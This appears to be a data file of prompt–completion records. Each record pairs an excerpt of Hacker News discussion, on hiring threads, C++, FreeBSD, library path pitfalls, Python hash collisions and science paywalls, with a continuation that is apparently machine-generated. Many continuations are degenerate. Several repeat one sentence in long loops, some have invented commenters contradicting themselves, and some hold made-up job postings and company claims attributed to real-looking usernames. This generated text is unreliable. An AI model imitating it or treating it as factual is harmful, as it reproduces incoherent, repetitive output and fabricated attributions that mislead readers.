Now of course, assuming the banks had no knowledge of Groupon's true\nfinancial health; they did nothing illegal.\n\nBUT ethically, brokers/traders have a responsibility to informed their clients\nwhen it's time to cash out. A lot of people made money off this deal. And lot\ndidn't.\n\nBut Groupon, if what I'm hearing is true, is"} +{"output_text": " Kafka, Cassandra, Elasticsearch, Redis,\nKubernetes, Docker, Mesos, and Docker Swarm.\n\nWe are looking for:\n\n\\- Senior Software Engineer (Java)\n\n\\- Senior Software Engineer (Python)\n\n\\- Senior Software Engineer (C++)\n\n\\- Senior Software Engineer (Machine Learning)\n\n\\- Senior Software Engineer (Data Science)\n\n\\- Senior Software Engineer (DevOps)\n\n\\- Senior Software Engineer (Cloud)", "input_text": "-native API microservices. For more information on our\nproduct, please check out\n[http://www.lunchbadger.com](http://www.lunchbadger.com).\n\nWe are looking for a Senior Software Developer (Backend) to join a small but\ngrowing team. This is a great opportunity to have a real impact on the product\nand the team. Due to our small size, we're looking for someone who can\nparticipate in the project in multiple ways, whether that is writing and\ndesigning software, creating automation to deploy and manage it in production,\nor helping to support our customers.\n\nTech we use: Node.js, express.js, LoopBack, AWS, Docker, Kubernetes, Terraform\n\nMore information at [https://www.lunchbadger.com/careers-senior-software-\nengineer...](https://www.lunchbadger.com/careers-senior-software-engineer-\nbackend/)\n\n------\ngesundkrank\nmbr targeting | Berlin, Germany | [https://mbr-targeting.com](https://mbr-\ntargeting.com) | Full-Time, ONSITE\n\nmbr targeting uses machine learning algorithms for highly efficient real-time\nadvertising. We are 100% science- and technology-focused and process and\nanalyze massive amounts of data. We are working at the cutting edge of big\ndata, machine learning and real-time technologies and we are operating large-\nscale deployments of real-time web services.\n\nWe are looking for smart people that are always eager to learn something new.\nOur stack is built with Java, Node, Python and C++. Using frameworks like\nHadoop, Spark, Flink, Vert.x,"} +{"output_text": " every\nsecond.\n\nWhat is the purpose of the BSM? The BSM is used to provide vehicle\ndrivers/operators with information that can help them avoid collisions.\n\nWhat is the BSM format? The BSM is a binary message that is transmitted\nbetween vehicles. The BSM is a series of bits that are transmitted in a\nsequence of frames. Each frame is made up of a header and a data field. The\nheader contains the following information:", "input_text": "ilucania\nStay off the Internet and read books.\n\n------\ntmaly\ntry to identify patterns of things that work for you. No one likes taking\nadvice, but if you can figure out some good shortcuts, you can focus on\ncreating value.\n\nI am just finishing up an audio book of Linchpin by Seth Godin. It has some\ngreat ideas in there in regards to being a remarkable artist instead of being\na cog in the machine. I think this is important, especially as we are moving\naway from a manufacturing based economy.\n\n~~~\npvsukale1\n:) can you explain a little more about creating a value? thanks\n\n------\nerac1e\nWhen you are 30 you will probably be less enthusiastic about cutting code.\nHave a backup plan.\n\n~~~\npvsukale1\n:)\n\n \nWireless vehicle-to-vehicle communication would be required in new cars - serg_chernata\nhttp://www.theverge.com/2016/12/13/13936342/wireless-vehicle-to-vehicle-communication-v2v-v2i-dot-nhtsa\n======\nblendo\nFrom the fact sheet\n[https://www.safercar.gov/v2v/pdf/V2V_NPRM_Fact_Sheet_121316_...](https://www.safercar.gov/v2v/pdf/V2V_NPRM_Fact_Sheet_121316_v1.pdf):\n\nWhat data is exchanged? The data, known as the \u201cbasic safety message\u201d (BSM),\nis exchanged between vehicles and contains vehicle dynamics information such\nas heading, speed, and location. The BSM is updated and broadcast"} +{"output_text": ".namespace(\"YAHOO.widget\") nonsense) with ease-of-debugging (no\nYAHOO.widget.Foo.bar() nonsense).\n\n------\njoshu\nI'm not sure I understand the point of this.\n\n~~~\nnostrademons\nIt's a way to get a quick-and-dirty prototype up and running, without having\nto worry about the details of the framework.\n\n~~~\njoshu\nI guess", "input_text": " about and wanted to know from\nsomeone in the know.\n\n~~~\nnostrademons\nSpez had mentioned, off-handedly, that there tend to be painful bugs in the\nmain web.py distributions:\n\n\n\n~~~\nkirubakaran\nThanks nos`. Are you still using Pylons? And templates? Would you recommend\nMochiKit for js lib?\n\n~~~\nnostrademons\nActually, I went with web.py after all. I blame temporary insanity. That, and\nweb.py was easily understandable without a whole lot of docs to go through,\nand I wanted to get _something_ up quickly. We may yet rewrite in Pylons, but\nit's low priority, as web.py is working for us. (We also have practically zero\ntraffic though.)\n\nFor templates, we use Mako after having previously used Cheetah, same as the\nrewritten Reddit. Mako is a very well-done, well-thought-out library. There\nwere some things that Cheetah had a lot of trouble with (like unicode support\nand fragment libraries) that Mako handles without breaking a sweat.\n\nFor JS lib, we eventually settled on jQuery after having tried out Prototype,\nYUI, and Mootools (never used Mochikit, sorry). This was largely because that\nseems to be where the momentum is these days. Also, jQuery has a very elegant\nselector + plugin architecture and a growing collection of plugins. And it's\nthe first JavaScript library I've seen that's intimately aware of namespace\nissues and tries to balance ease-of-use (no silly\nYAHOO"} +{"output_text": " do when I'm in a hurry.\n\n------\njheriko\nI think the author is missing the point.\n\nThe point is that you should be able to write a program that is correct and\nefficient, and that you should be able to write a program that is correct and\nefficient, and that you should be able to write a program that is correct and\nefficient, and that you should be able to write a program that is correct and\nefficient, and that", "input_text": " because it usually\nindicates someone is trying to be overly clever with C++. On the other hand,\nif the codebase is written in that style, then the _whole_ codebase should be\nconsistently written in that style. The inconsistency is the worrisome part:\neither use it everywhere or nowhere.\n\nAnyway, STL is pretty massive, and knowing all of it isn't the same thing as\nbeing a C++ expert. Knowing what to avoid is almost as important as knowing\nwhat to use.\n\n~~~\njcd748\nYou probably don't need std::for_each anymore. With C++11, you can do the\nfollowing:\n\nfor (const auto& element : collection) { }\n\nWhat's wrong with ? I use it all the time for sort, swap, and\nrandom_shuffle comes up more frequently than I expect.\n\n~~~\nsillysaurus3\nThose are all fine. Actually, I forgot that sort was in . I was\njust recalling some of the horrors I've seen due to pre-C++11 fanciness. There\nseems to be a temptation for C++ programmers to overuse clever tricks.\nLuckily, with C++11 fewer tricks are necessary.\n\nUnfortunately, the gamedev industry will probably be stuck with pre-C++11 for\nanother decade.\n\n~~~\nemmelaich\n> I'm a C++ expert..\n\n> I forgot that sort was in \n\nUhm, sillysaurus3, could I see you in my office please.\n\n:-)\n\n~~~\nsillysaurus3\nMy brain space is limited, so I use it sparingly. Memorizing which header file\nprovides which function is something I"} +{"output_text": "ide\nI'm not sure if this is a bug or not. I'm not sure if this is a bug or not.\n\n------\nmatt_morgan\nI'm not sure if this is a bug or not. I'm not sure if this is a bug or not.\n\n------\nmatt_morgan\nI'm not sure if this is a bug or not. I'm not sure if this is a bug or not.\n\n------\nmatt", "input_text": " ld, it is standard UNIX behaviour. Always has been.\n\nBut you're right it should not occur.\n\n------\nfoota\nSeems like this may almost have been better done through a disclosure channel\nwith torch?\n\n~~~\nmannykannot\nMaybe, but this particular issue has much wider scope, and is only\nincidentally a Torch issue. A disclosure by the Torch devs might have gone\nunnoticed by those who are not Torch users - I only read it because the HN\ntitle mentioned ls, and I thought \"that looks odd...\".\n\n------\nfslkjhjdfhgj4j\nwow! thats a gotcha, trailing : appends $(PWD) to the LD_LIBRARY_PATH\n\nThanks for sharing!\n\n------\nIshKebab\nHa, shitty text-based configuration systems strike again. Ask yourself if this\ncould have happened with Windows 10's PATH editor.\n\n~~~\nJadeNB\n> Ask yourself if this could have happened with Windows 10's PATH editor.\n\nYes \u2026? Well, I dunno; I don't know how Windows 10's PATH editor works.\nNonetheless, the issue seems to be with magic interpretation of special\nconfiguration options, not with how those configuration options are entered.\n(Note also that the configuration was done programmatically, not by the user,\nso that there would have to be some kind of parse\u2013deparse step anyway.)\n\n \n\nBad Programmers Are Not Good Programmers Who Are Slow - iamelgringo\nhttp://www.knowing.net/PermaLink,guid,f6755acf-e8df-4f32-8d53-39b9a01992f5.aspx\n\n======\nxenoterrac"} +{"output_text": "we\u2019re hiring across the board).\n\n------\njoshu\nSense | San Francisco, CA | Full-time | ONSITE |\n[https://sense.com](https://sense.com)\n\nSense is a new kind of home security system that uses the power of the cloud\nto help you feel safe. We're a small team of engineers and designers who are\npassionate about making the world a safer place.\n\nWe're looking for", "input_text": "OR Branch and Cut solver\n(CBC), Cython, Sidekiq, PostgreSQL, Redis\n\n\\- Front-end: React, Webpack (with Hot Module Replacement), ES6/Babel, LESS,\nCSS Modules, Yarn\n\n\\- Testing: CircleCI, RSpec, Approvals, WebMock, puffing-billy, Capybara,\nJasmine, Happo, Browserstack, Overcommit, Codecov (>75% coverage front+back-\nend)\n\nYou\u2019ll work on (for example):\n\n\\- The scheduling algorithm that turns a Remix map into work sheets for bus\ndrivers ([https://blog.remix.com/an-intro-to-integer-programming-\nfor-e...](https://blog.remix.com/an-intro-to-integer-programming-for-\nengineers-simplified-bus-scheduling-bd3d64895e92))\n\n\\- Visualisations for use in public meetings, such as the \u201cJane\u201d (Jacobs)\nisochrones tool ([https://blog.remix.com/remixs-isochrone-visualizes-travel-\nti...](https://blog.remix.com/remixs-isochrone-visualizes-travel-\ntime-e703b9f929d8))\n\n\\- Our geo-database of open data (transit and census) and privacy-sensitive\ndata\n\n\\- Live-updating costing models and simulations\n\n\\- Our demographics tool that helps transit agencies serve their communities\nequitably (per the Civil Rights Act of 1964)\n\nGo to [http://remix.com/jobs](http://remix.com/jobs) to apply and to see all\nour openings ("} +{"output_text": "'t make sense.\n\n------\njasonkester\nI think the best way to do this is to ask yourself what you want to get out of\nthe project.\n\nIf you want to get something done, then you need to be able to convince the\nproject owner that you're the right person to do it.\n\nIf you want to get something done, then you need to be able to convince the\nproject owner that you're the right person to do it.", "input_text": " then convince the team to adopt automated testing.\n\nOf course, you can't just let random new people come into a project without\npushing back on them; Often their ideas are genuinely bad ideas which come\nfrom a lack of understanding & context.\n\n~~~\nploxiln\nYou also can't just join a commercial software project. But you can fork an\nopen source one.\n\nFor most open source software projects, the \"user base\" is developers who like\nopen source software. That's a good thing really; otherwise, there would be\nnothing that works well for people like me, as all commercial software\ncompanies go after the much bigger markets.\n\n------\ninfinity0\nAs a FOSS developer, my aim is to grow the FOSS community _in the long term_.\nNumber of users, and their real or perceived wants, is only sometimes helpful\nto this goal. Sometimes it is not, for example when \"shiny\" is prioritised\nover solid engineering or security, or when a short-term attention gain from\ntemporary \"hired guns\" is prioritised over attracting reliable and skilled\nworkers that will help to sustain the community.\n\n------\nMaultasche\nI think that this is a complicated question for two reasons.\n\n1\\. It probably greatly depends on the open source project. Some developers\nare probably in tune with their users while other barely realize that users\nexist.\n\n2\\. Some people have a different definition of \"listening to their users\" than\nothers.\n\nUsers who want something but don't get it may regard the developer as not\nlistening to them.\n\nThe developer, on the other hand, may be hearing everything users are asking\nfor, but aren't implementing everything that's requested because it isn't\npractical or just doesn"} +{"output_text": "-FAQ.html)\n\n------\njrockway\nI'm not sure I understand the point of this. It's not like you can't run\nFreeBSD on EC2. You can run FreeBSD on EC2.\n\n~~~\njrockway\nI guess I should have said \"you can run FreeBSD on EC2, but you can't run\nFreeBSD on EC2\".\n\n------\njrockway\nI'm not sure I understand the", "input_text": ", xfwm, or really anything. Some\ncomponents are Linux only (Xfce was recently bit by this) and thus may not\nwork as expected or poorly if there is no abstraction layer that allows for us\nthe use of devd(8) for example.\n\nFreeBSD is my favourite OS for servers, it has good hardware support there\nwhere it matters most, and best of all is extremely stable. If Linux has met\nyour needs so far, or even Windows, then stick with it. You won't find\nanything new and exciting and may even find it frustrating that certain things\ndon't work as expected due to differences in API's that are available.\n\nIf you want a distribution of FreeBSD that is pretty well geared towards\ndesktops, may I suggest taking a look at PC-BSD. They generally are not too\nfar behind the official release of FreeBSD with their FreeBSD version, and it\nis an KDE environment that is easy to install.\n\n~~~\njonathansizz\nActually, PC-BSD is not at all behind FreeBSD these days: PC-BSD 8.2 was also\nreleased today.\n\n~~~\ncalloc\nThe last time I played with PC-BSD there was a lag time of a couple of days. I\nhadn't checked before making my statement above. I hereby stand corrected.\n\n------\nmberning\nIt would be nice to see Amazon provide an official EC2 AMI for this release.\n\n~~~\njambo\nColin Percival is working on it.\n[http://www.daemonology.net/blog/2010-12-20-FreeBSD-on-\nEC2-FA...](http://www.daemonology.net/blog/2010-12-20-FreeBSD-on-EC2"} +{"output_text": "I'm not sure if I'd be interested in a stock exchange, but I'd love to see\nsome kind of \"startup stock exchange\" where you could bet on the success of\nstartups.\n\nI'm not sure how it would work, but I think it would be a great way to\nencourage people to invest in startups.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\nThe Nobel Prize is a prize for", "input_text": " is actually only the second time in 12 years that the favorite per the\nLadbrokes odds has gotten the award, the last being Pamuk in 2006.\n\n[http://www.newrepublic.com/article/123058/who-will-win-\nnobel...](http://www.newrepublic.com/article/123058/who-will-win-nobel-prize-\nliterature)\n\n~~~\nGFischer\nI stand corrected, it seems the Literature nobel prize is very hard to guess\ncorrectly, they did find out last year's prize early but it was because of a\nleak.\n\n[http://www.cbc.ca/news/arts/nobel-prize-in-literature-won-\nby...](http://www.cbc.ca/news/arts/nobel-prize-in-literature-won-by-french-\nwriter-patrick-modiano-1.2793454)\n\n\"Betting on Modiano to win the Nobel surged in the last week, raising\nquestions about a possible leak. David Williams of bookmaker Ladbrokes said\nModiano's odds had shortened from 100-1 a few months ago to 10-1 before the\nannouncement.\"\n\nEdit: I still think a \"Startup Stock Exchange\" could be fun, maybe based on\nCrunchBase or something :)\n\n~~~\nEvanKelly\nI used to mess around on exchangel.co, but mainly I'm interested in placing\nlong bets which just require some patience rather than trading in the\nartificial market. I think there's another one out there too that does start\nup trading.\n\n~~~\nGFischer\nThanks! I'll look them up.\n\n"} +{"output_text": " was a \"bait-and-switch\" -- so what?\n\n~~~\ndiziet\nI'm not saying it's fake, I'm saying that it's not a good idea to just assume\nit's fake.\n\n~~~\nyaakov34\nI'm not saying it's fake, I'm saying that it's not a good idea to just assume\nit's fake.\n\n------\njrockway\nI don't know if this is a good idea", "input_text": "www.amazon.com/exec/obidos/ASIN/0028644158/thepolitic...](http://www.amazon.com/exec/obidos/ASIN/0028644158/thepoliticalg-20)\n\n------\ndiziet\nHow is this an article so thoroughly under-researched? Why not go a little bit\nfurther and investigate if actual people are posting?\n\nHi $name, thank you for messaging me. I'm new to this site, so can you please\ntell me the process on how you send me that message, where did you have to\nclick, etc? I am still trying to figure this out, so if you could tell me what\nbuttons you had to press to send the message to me, I'd appreciate it, it\nwould help me get started. Thank you ahead of time, $name. P.S. Have you read\nany good books lately?\n\nAnd then, to be even more sure, create a couple more accounts through proxies\nand see what kind of messages they get. Do deactivate them after.\n\nSee, while it does look like some sort of bait-and-switch, at least try to\nverify it. Maybe at the very least they've got a very persuasive feature where\nnew members do get popped up, and there's a user initiated \"Poke\" like feature\n(that appears as a message on your end), so that would put them somewhere in\ngrey-hat tactics out of the black-hat area.\n\n~~~\nyaakov34\nOh come on, COME ON, I'm all for research too, but 15 messages from women in\nthe middle of the night who want to date a horse is not something that\nrequires going deep undercover before you decide that it's fake. And he said\nthat it"} +{"output_text": "-f...](https://www.howtogeek.com/fyi/microsoft-broke-\nwindows-10s-file-associations-with-a-botched-update/)\n\nWindows 10\u2019s File Associations Broken by Microsoft\n[https://www.howtogeek.com/240181/windows-10s-file-\nassociati...](https://www.howtogeek.com/240181/windows-", "input_text": "/8num0w/good_grief_microsoft_windowsupdatealwaysfindsaway/)\n\nSearch is crap\n[https://www.reddit.com/r/Windows10/comments/8psaq9/we_have_r...](https://www.reddit.com/r/Windows10/comments/8psaq9/we_have_reached_peak_ux/)\n[https://www.reddit.com/r/Windows10/comments/8qucfq/what_is_t...](https://www.reddit.com/r/Windows10/comments/8qucfq/what_is_the_purpose_of_store_search_if_you_have/)\n\nHey, Microsoft, stop installing third-party apps on clean Windows 10 installs!\n(windowscentral.com)\n[https://old.reddit.com/r/technology/comments/9ibj5i/hey_micr...](https://old.reddit.com/r/technology/comments/9ibj5i/hey_microsoft_stop_installing_thirdparty_apps_on/)\n\nNeed to disable as much windows 10 spying as possible without breaking windows\nupdate. Where do i start?\n[https://old.reddit.com/r/privacytoolsIO/comments/8bg75f/need...](https://old.reddit.com/r/privacytoolsIO/comments/8bg75f/need_to_disable_as_much_windows_10_spying_as/)\n\nMicrosoft Broke Windows 10\u2019s File Associations With a Botched Update\n[https://www.howtogeek.com/fyi/microsoft-broke-\nwindows-10s"} +{"output_text": " understanding is that\nSplunk is a company that is run by a small group of people who are all\ninvestors. The company is not a public company, and the investors are not\nshareholders. The company is run by a small group of people who are all\ninvestors. The company is not a public company, and the investors are not\nshareholders.\n\nThe company is run by a small group of people who are all investors. The\ncompany is not a public", "input_text": "\u2019s exactly the point of what he is doing. I would guess most people who\nwatch Fox News consider Tucker Carlson to be a reliable source. That\u2019s a\nproblem because he obviously isn\u2019t.\n\n~~~\nsukilot\nYou don't need AGNB to tell you Ticket Carlsen is a lying demagogue. Everyone\nwho isn't a fan sees that when they watch Tucker Carlsen himself -- his lies\naren't exactly subtle.\n\n \nSplunk acquires cloud monitoring service SignalFx for $1.05B - sgloutnikov\nhttps://techcrunch.com/2019/08/21/splunk-acquires-cloud-monitoring-service-signalfx-for-1-05b/\n======\ndeanmoriarty\nDoes anybody know if employees will end up actually making any money from this\nmassive acquisition, or if yet again board and investors found a way through\nsome shenanigans to distribute all the wealth just to themselves?\n\nEDIT: I'm being downvoted, but I've been increasingly hearing a shady Silicon\nValley practice where, upon successful acquisition, the board will vote to\nemit a large number of new shares (think 5-10X the total pool), which will be\nredistributed just among execs and investors. So, if you are an employee who\nheld on to your 0.1% (which, on 1B, might be worth 1M), you might find out\nthat after the acquisition you are going to be diluted maybe to 0.01%. And\nthis is after all the other \"healthy\" dilutions that have happened to the\ncompany over the years, as part of their financing rounds.\n\n~~~\nwindexh8er\nI was part of a smaller acquisition Splunk made. My"} +{"output_text": " a lot of smart people there.\n\n------\nmatt_the_bass\nI\u2019ve been learning Scala for a few months now. I\u2019ve been using it for a\nproject that I\u2019m working on. I\u2019ve been using it for a few months now. I\u2019ve\nbeen using it for a few months now. I\u2019ve been using it for a few months now.\nI\u2019ve been using it for a few months now. I", "input_text": " it approaches the language from a completely\nnovice perspective. If you have years of programming experience, it may be a\nlittle redundant for you.\n\n~~~\ntinathefatwhale\nSame\n\n------\nVeronicaHadley\nYou should check this\n[https://www.tutorialspoint.com/scala/](https://www.tutorialspoint.com/scala/)\n&\n[https://bigdatauniversity.com/learn/scala/](https://bigdatauniversity.com/learn/scala/)\n\n------\nbeastman82\nI learned by reading \"Programming in Scala\" by Martin Odersky who invented the\nlanguage.\n[https://www.artima.com/shop/programming_in_scala_3ed](https://www.artima.com/shop/programming_in_scala_3ed)\n\n------\nsuls\nI hope you don't mind me asking: Is there a specific reason behind you wanting\nto learn Scala \"properly\"?\n\n------\ndominotw\npiggybacking on this question. I am really struggling with sbt. Is there is a\ngood FP in scala equivalent for sbt that walks you through feature by feature\nvia exercises and examples.\n\n~~~\nscalatohaskell\nHi. Sorry I don't have a good answer for you, but check sbt docs, it's pretty\ncomprehenful, but it's not best.\n\nYour best bet is to visit opensource projects and look into their build.sbt's,\nhow they do things -they're usually not big enterprise projects and you can\nquickly 'get' how they setup what.\n\nAlways feel free to visir /r/scala and ask sbt-related question there, there\nis"} +{"output_text": "\nI think the running time is exponential because the hash function is\nexponential.\n\n~~~\nErikCorry\nI don't think so. The hash function is a fixed function, so the running time\nis linear.\n\n~~~\n6gvONxR4sf7o\nThe hash function is a fixed function, but the running time is exponential\nbecause the hash function is exponential.\n\n~~~\nErikCorry\nI don't think so.", "input_text": "ren't these only the ones that the issuers willingly made public themselves?\n\n------\nznpy\nSame sha-1 fpr: 66:DE:98:B6:3A:7C:4E:EB:0A:AA:03:A2:30:57:9E:FA:18:E5:C7:FE\n\n \nEfficiently Generating Python Hash Collisions - ssully\nhttps://www.leeholmes.com/blog/2019/07/23/efficiently-generating-python-hash-collisions/\n======\nsvat\nAlthough this article is about collisions in the hash function applied to\nstrings, for numeric values Python uses a hash() function that is not only\neasy to generate collisions for but actually to invert (and find all\ninverses). I learned about this when writing this answer:\n\n\u2022 [https://stackoverflow.com/questions/56227419/why-does-\npython...](https://stackoverflow.com/questions/56227419/why-does-pythons-hash-\nof-infinity-have-the-digits-of-\u03c0/56227918#56227918)\n\nand details and code on how to invert are here:\n\n\u2022\n[https://stackoverflow.com/a/56248241/4958](https://stackoverflow.com/a/56248241/4958)\n\n(Needless to say, this is quite straightforward and trivial compared to\ncollisions on strings; nevertheless it may be of some interest to someone.)\n\n------\nErikCorry\nWhy is the running time of the attacked python process exponential? I would\nexpect quadratic.\n\n~~~\n6gvONxR4sf7o"} +{"output_text": " competition.\n\n------\njrockway\nI'm not sure I understand the problem. If you have a tiered plan, you can\nchoose to pay more for more data. If you have an unlimited plan, you can't.\n\n~~~\njrockway\nI guess I should have said \"if you have a tiered plan, you can choose to pay\nmore for more data\".\n\n------\njrockway\nI don't understand why they would do this", "input_text": " industry practice\" for most mobile\nproviders...\n\n------\nouchiboy\nOuch. They wouldn't like the 3.9 TB of my last 16 month...\n\n~~~\ntzs\nThat's almost 250 GB a month. How do you use that much on a mobile device?\nThat's more than most people use on their regular Internet connection.\n\n~~~\nouchiboy\nTethering. _cough_. You can do that with many non-thethering plans on some\njailbroken devices to save money or get around no-tethering allowed companies.\nI'm not going to lie and say that more than 10% of that traffic accounts to\nyoutube videos and torrented linux distributions...\n\n------\nmrhyperpenguin\nCan anyone think of any rational behind this? Why would they want to switch\npeople to tiered data plans when there is no effective difference to them?\n\n~~~\nineedtosleep\nWhy?\n\n> \u2026You may also consider switching to a tiered data plan if speed is more\n> important to you [...] Customers on tiered plans can pay for more data if\n> they need it, and will not see reduced speeds. (from the blog post)\n\nThat's why. AT&T has shown that nearly every move they make is for the sole\npurpose of squeezing out all the money they can from their users.\n\n~~~\ntomjen3\nThey are a company and as such is in the business of making money. Of course\nthey want to squeeze every last bit out.\n\nIn this case the problem is that they offered an unlimited plan and then did\nstick with their offer.\n\n~~~\nmontecarl\nThe problem is that they can get away with it. That is the cell phone market\nhas very little"} +{"output_text": " my life. I started going to\nmeetups and events. I started reading books and articles. I started\nprogramming. I started learning new things. I started learning new languages.\nI started learning new frameworks. I started learning new languages. I started\nlearning new frameworks. I started learning new languages. I started learning\nnew frameworks. I started learning new languages. I started learning new\nframeworks. I started learning new languages. I started learning new\nframeworks. I started", "input_text": " the fundamentals. Books such as\nThe New Turing Omnibus give you a taste of lots of topics, find some you like\nand dig deeper. Try and find some exciting, applied use of the boring school\nmath, or chemistry, or phyisics. Find books and resources which guide you\nthrough learning rather than just reading Wikipedia.\n\nIn summary, try to find the cool things that can be accomplished with the\nfundamentals you learn at school and you'll be more motivated to work through\nthe tedium. Don't be afraid of \"degree level\" texts. Try to stay away from any\nprogramming that involves drudgery and focus on enlightened, mathematically-\ninclined tasks: learn Haskell, implement fundamental algorithms, find hard\nproblems like SAT, fourier transforms, optimisation. Find something which\nrequires the skills you learn at school but which is exciting enough to hold\nyour attention. Do lots of little things.\n\n------\nlallysingh\nIt's not the material, it's not you. It's the rest of your life. You have to\nfind a way to recharge.\n\nI didn't do that for too long, and my grades dropped. My GPA dropped by 50%. I\nfinally took a semester off. I traveled. I got out of the grind and away from\nfamily and work and actually tried to explore life a bit.\n\n When you're young and out of high school, you're\nmostly trying to figure out who you are independent of your parents and\nupbringing. Sometimes being out of your folks' house for a while and not\nfiguring that out leaves you empty. .\n\nAfter that, I made recharging a normal part of"} +{"output_text": " you do.\n\n~~~\nguelo\nI think the point is that you should be learning new skills that are\napplicable to your job.\n\n~~~\npeterwwillis\nI think the point is that you should be learning new skills that are\napplicable to your job _now_.\n\n~~~\nguelo\nI think the point is that you should be learning new skills that are\napplicable to your job _in the future_.\n\n~~~\np", "input_text": " have to\nlearn ___\", eventually you'll start slipping and end up hacking PHP Wordpress\ninstalls somewhere for subpar wages if you're employed at all. If you seek out\nnew things to push yourself because it's enjoyable keeping up is intuitive and\neasy. Even stuff you may never use for your job can teach you new ways of\nthinking.\n\nNow if you'll excuse me I need to go back to playing with RUST.\n\n~~~\nguelo\nWith the speed of technology changes I think it's pretty hard for programmers\nto get stuck in the exact same rut for 10 years.\n\nUsing your example of C#, there has been huge changes in the last 10 years to\nthe point that it's barely the same language.\n\nEven if you imagine the most staid company that refuses to upgrade their tech\nstack, the last 10 years has seen so many changes in the web and mobile that\nit's hard to imagine that there hasn't been some pressure on even the most\nunmotivated programmer to learn new skills.\n\n~~~\nJeremyMorgan\nThat's why I mentioned iterative changes, such as the changes to C# over the\nlast 10 years. Just because they started using generics at some point doesn't\nmean they've been learning anything to drastically improve their code.\n\nIt's very easy to sit at a company building calendar apps for ten years and\nfall behind the rest of the world. I see it every day.\n\n------\npeterwwillis\nThis is a _very_ long way of saying: you should learn new skills, and practice\nthe skills that you think will be valuable by the time you need to get a new\njob.\n\nPractice isn't rocket science... heck, just practice different kinds of\nprogramming. You'll naturally improve at everything"} +{"output_text": " | Full-time | ONSITE\n\nNexiona is a fast-growing startup in the field of data science and machine\nlearning. We are building a platform that allows companies to easily build\ntheir own machine learning models and deploy them in production.\n\nWe are looking for:\n\n* Software Engineer (backend)\n\n* Software Engineer (frontend)\n\n* Data Scientist\n\n* Data Analyst\n\n* Data Scientist Intern\n\n* Data", "input_text": "\nsupport our internal operations team. \\- Work closely with our designer to\nimplement a high quality, modern front end experience.\n\nWe would love to hear from you if you\u2019re interested! Please send your CV and a\nlink to anything else you think might be relevant, such as your personal\nwebsite or GitHub profile, to alistair@nested.com.\n\nMore info at\n[https://nested.workable.com/jobs/403118](https://nested.workable.com/jobs/403118)\n\n------\nabarb\nConsulting|Financial Software Developer/Engineer or Quant | NYC, LA, SF |\nFull-time\n\nRun your own startup development utilizing big company benefits and resources.\nFull freedom to architect your own financial library and work with experts in\nthe field.\n\nResponsibilities: \\-->Working with clients, capital markets and insurance\nexperts to implement model point approach with key random variables\nstochastically modeled (for all asset classes) on a risk neutral basis for\noptimizing the distribution of the risk adjusted return on capital for a block\nof business \\-->Prototyping and implementing a portfolio level optimization\nacross all blocks of business incorporating the ability to grow and shrink\ncertain businesses \\-->Designing new financial application libraries to\naddress client needs\n\nKey Qualifications: _3+ years of recent software development experience in\nanalysis (R, Matlab) and programming languages (e.g. Ruby, JAVA,Python,C#)_\nExperience in building financial analytics applications and libraries *\nKnowledge of quantitative finance, modeling, capital markets and derivatives\npricing\n\nPlease, contact abarbashova@gmail.com (can't expose company name)\n\n------\nyoumin\nNexiona | Barcelona (Spain) | Multiple positions"} +{"output_text": " pay your bills.\n\n------\nmatt_the_bass\nI\u2019ve been working on a project for a few years now. I\u2019ve been able to get\nenough traction to get a few paying customers. I\u2019m now working on a new\nproject.\n\n------\nmatt_the_bass\nI\u2019ve been working on a project for a few years now. I\u2019ve been able to get\nenough traction to get a few paying customers", "input_text": ":-)\n\n------\nnodelessness\nMaking a wordpress plugin that got 120k downloads. Someone deploying it as a\nsoftware service offering. Felt good.\n\n------\ngiis\nlinux tool that i wrote without adequate knowledge of file-system and internet\nconnection. Later Receiving FOSS awards and featuring in Linux\nmagazine(Jun-2008 edition)\n[http://www.giis.co.in/LFY.png](http://www.giis.co.in/LFY.png)\n\n------\nxasos\nThe fact that I have failed so many times, but thankfully live in the US,\nwhere opportunities are abundant.\n\n------\nrikkus\nLiving with dignity.\n\n \n\nAsk HN: How can I give my idea for free and sell myself as its developer? - pawnhearts\n\nI had an idea for a tool but I'm not interested in investing money on it, not because I think it's not worth it, but because I have no knowledge about how I would run my own business, find investors, advertise the product, sell the product to customers and so on.

Do you think is it worth yielding an idea to someone who can succeed in making money out of it, provided that you will be working on the code and to be sure to have 6-8 months of guaranteed work?

Thanks

Edit: poor grammar\n======\narisAlexis\nYou have two options. Find someone to hire you as a programmer and pay you.\nSecond is to find a partner that will do all of these things called non-\ntechnical co-founder and share potential profits. That means that you will\nneed to work in parallel with some kind of other job that gives you money to\nsurvive and"} +{"output_text": "available to them. But the public _should_ understand science. They should\nunderstand the scientific method. They should understand the scientific\ncommunity. They should understand the scientific literature. They should\nunderstand the scientific process. They should understand the scientific\ndebate. They should understand the scientific method. They should understand\nthe scientific process. They should understand the scientific debate. They\nshould understand the scientific method. They should understand the scientific\nprocess. They should understand the scientific debate. They should", "input_text": " lines in their budgets if anyone knows or finds them.\n\n------\njgrahamc\nI should have added that this sort of thing is why PLoS is so important.\n\n\n\n~~~\nmechanical_fish\nI seriously believe that _this_ \\-- the fact that you need access to a\nuniversity library, a research grant, or several thousand dollars worth of\ndiscretionary income just to _read_ the primary source materials of the last\n70 years of science -- is the reason why so much of the planet is\nscientifically illiterate.\n\nWe ask why the hilarious notion that science is just a species of religion --\na collection of essentially arbitrary dogmas handed down by priests in white\ncoats -- has taken such hold among the populace. But, really, what does the\npublic see of modern science but dogma? The state of the art -- the debate,\nthe argument, the statistical calculations, the brilliant conclusions, the\nidiotic conclusions, even the raw data itself -- is all locked up behind\npaywalls and private conferences and university tuitions. 99.5% of the world\nnever sees actual science being done. At best, they do toy science in their\nclassrooms and read prepackaged science-flavored PR in their magazines.\n\nThe best the public can hope for is a bunch of documentaries and\npopularizations, some of which are great. But nearly all of them are second-\nhand, many of them contain major omissions, mistakes, or distortions, and they\nfeel constrained by their need to maintain their mass audience of\nbusinesspeople on planes -- they tend to not publish graphs or, god help us,\nequations.\n\nOf course, most of the public wouldn't understand _Nature_ even if it became\n"} +{"output_text": " is doing a good job.\n\n------\nmattlondon\nI'm not sure if this is a good thing or not.\n\nI think it's a good thing that Huawei are trying to compete in the market.\n\nHowever, I think it's a bad thing that they are trying to compete in the\nmarket by copying Apple.\n\nI think it's a bad thing that they are trying to compete in the market by\ncopying Apple.\n\nI", "input_text": "\n\nHuawei can address the security concerns by using established open source\nsoftware (which they seem to have).\n\nWould be great to have an alternative to the windows/mac duopoly.\n\n~~~\nptah\njust to be pedantic: macOS is Unix whereas linux is 